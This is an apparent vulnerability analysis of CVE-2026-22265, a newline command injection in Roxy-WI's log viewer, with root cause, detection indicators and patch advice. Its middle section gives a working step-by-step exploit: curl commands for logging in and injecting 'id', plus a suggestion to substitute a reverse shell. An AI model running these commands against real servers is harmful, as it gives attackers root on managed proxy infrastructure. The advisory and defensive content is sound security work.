CVE-2026-22265: 
Roxy-WI vulnerability analysis and mitigation

CVE-2026-22265 is an OS command injection vulnerability in Roxy-WI, a web interface for managing HAProxy, Nginx, Apache, and Keepalived servers. The flaw exists in the log viewing functionality and allows authenticated users to execute arbitrary system commands on the underlying server. All Roxy-WI versions prior to 8.2.8.2 are affected. It was published on January 15, 2026, with a fix released the same day. The vulnerability carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In app/modules/roxywi/logs.py at line 87, the grep parameter is incorporated into a shell command string twice — once as grep_act (sanitized via checkAjaxInput() and shlex.quote()) and once as the raw, unsanitized grep variable. The checkAjaxInput() function in app/modules/common/common.py blocked & ; | $ `` but did not block newline characters (\n or \r), enabling an attacker to inject a newline followed by arbitrary shell commands. The vulnerable command template was: sudo cat /var/log/%s/syslog.log | sed '/ %s:00/,/ %s:00/! d' |tail -%s %s %s %s where the final %s slots include both the sanitized and raw grep values. Exploitation requires valid authentication, syslog_server_enable = 1 in settings (non-default), and a configured server with SSH access (GitHub Advisory, Patch Commit).

Successful exploitation allows an authenticated attacker to execute arbitrary commands as root on the syslog server, resulting in full system compromise. The impact spans all three security dimensions: high confidentiality impact (access to sensitive data and credentials), high integrity impact (modification of system files and configurations), and high availability impact (disruption or destruction of system services). Because Roxy-WI manages critical load balancer and proxy infrastructure (HAProxy, Nginx, Apache, Keepalived), compromise of the management interface could enable lateral movement to all managed servers (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, demonstrating exploitation via a simple curl command with a newline-injected grep parameter. There is no confirmed evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.0025 (0.25%), indicating a currently low probability of widespread exploitation (GitHub Advisory, Red Hat CVE).

1. Reconnaissance: Identify internet-facing or network-accessible Roxy-WI instances running versions prior to 8.2.8.2. Confirm that syslog_server_enable = 1 is set in the application settings and that at least one server is configured with SSH access.
2. Authenticate: Obtain valid credentials for any Roxy-WI user account with access to the log viewing functionality. Authenticate and capture the session cookie and CSRF token:

   curl -s -k -c /tmp/r.txt -X POST 'https://TARGET/login' -H 'Content-Type: application/json' -d '{"login":"admin","pass":"admin"}'
   CSRF=$(grep csrf /tmp/r.txt | awk '{print $7}')

3. Inject payload: Send a POST request to the log viewing endpoint with a newline-injected grep parameter. The newline character (\n) bypasses the checkAjaxInput() blocklist and causes the shell to interpret the injected string as a new command:

   curl -s -k -b /tmp/r.txt -X POST 'https://TARGET/logs/haproxy/127.0.0.1/10' -H "X-CSRF-TOKEN: $CSRF" --data-urlencode $'grep=x\nid'

4. Achieve RCE: The server executes the injected command (e.g., id) as root, returning output such as uid=0(root) gid=0(root) groups=0(root). Replace id with any desired payload (e.g., a reverse shell) to achieve persistent access or lateral movement (GitHub Advisory).

• Network: Unexpected POST requests to /logs/haproxy/<server>/<rows> or similar log endpoints containing URL-encoded newline characters (%0a, %0d) in the grep parameter; outbound connections from the Roxy-WI server to unknown external IPs following log view requests.
• Logs: Web server access logs showing POST requests to /logs/ endpoints with encoded newlines in request bodies; application error logs showing unexpected command output mixed with log content.
• Process: Unusual child processes spawned by the Roxy-WI Python/Flask process (e.g., bash, sh, curl, wget, nc, python) visible via process monitoring tools; unexpected sudo executions by the Roxy-WI service account.
• File System: New or modified files in the Roxy-WI installation directory, /tmp, or /var/tmp; new cron jobs, SSH authorized keys, or user accounts created by the Roxy-WI service account (GitHub Advisory).

Upgrade Roxy-WI to version 8.2.8.2 or later, which fixes the vulnerability by extending the checkAjaxInput() blocklist to include newline (\n), carriage return (\r), and redirection characters (< >), and by removing the raw grep variable from the shell command string (using only the sanitized grep_act). As a temporary workaround if immediate patching is not possible, restrict access to the Roxy-WI management interface to trusted administrators only via network-level controls (firewall rules, VPN), and disable syslog_server_enable in settings to remove the vulnerable code path. The patch is available at the linked commit and the v8.2.8.2 release (Patch Commit, Release Notes).

The vulnerability was reported by researcher chasingimpact and disclosed via GitHub Security Advisories on January 15, 2026. Brief coverage appeared on social media platforms including Mastodon (TheHackerWire) and Bluesky shortly after disclosure. Spanish national cybersecurity agencies CCN-CERT and INCIBE also published alerts. No major vendor statements beyond the GitHub advisory or significant analyst commentary have been identified (GitHub Advisory).